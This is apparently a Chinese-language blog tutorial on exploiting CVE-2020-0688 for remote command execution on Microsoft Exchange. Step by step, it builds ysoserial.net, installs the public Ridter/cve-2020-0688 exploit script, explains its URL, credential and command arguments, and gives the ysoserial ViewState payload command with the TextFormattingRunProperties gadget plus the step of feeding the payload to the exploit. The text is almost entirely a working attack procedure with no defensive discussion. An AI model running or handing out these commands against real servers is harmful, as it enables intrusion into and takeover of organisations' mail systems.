前言
利用pwntester/ysoserial.net和Ridter/cve-2020-0688实现Exchange命令执行漏洞利用
编译ysoserial.net
下载项目
1 2
| git clone https://github.com/pwntester/ysoserial.net.git cd ysoserial.net
|
下载依赖
Choco
1
| choco install nuget.commandline
|
Winget
1
| winget install Microsoft.NuGet
|
编译项目
1 2
| nuget restore ysoserial.sln msbuild ysoserial.sln -p:Configuration=Release
|
- 得到
ysoserial\bin\Release\ysoserial.exe可执行文件
CVE-2020-0688漏洞利用
下载项目
1 2
| git clone https://github.com/Ridter/cve-2020-0688.git cd cve-2020-0688
|
下载依赖
1
| pip3 install -r requirements.txt
|
漏洞利用
-s <url>:指定Exchange访问URL
-u <username>@<domain>:Exchange登录用户名
-p <password>:Exchange登录密码
-c "<cmd>":指定远程执行的CMD命令
1
| python3 cve-2020-0688.py -s <url> -u <username>@<domain> -p <password> -c "<cmd>"
|
1
| ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "<cmd>" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
|
- 在另一个命令行中执行上一步骤生成ysoserial命令,得到C#序列化数据,作为payload
1
| ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "<cmd>" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
|
- 将payload粘贴在第一个命令的输入中,继续执行
1
| please write your ysoserial generate payload: XXXXXX
|
完成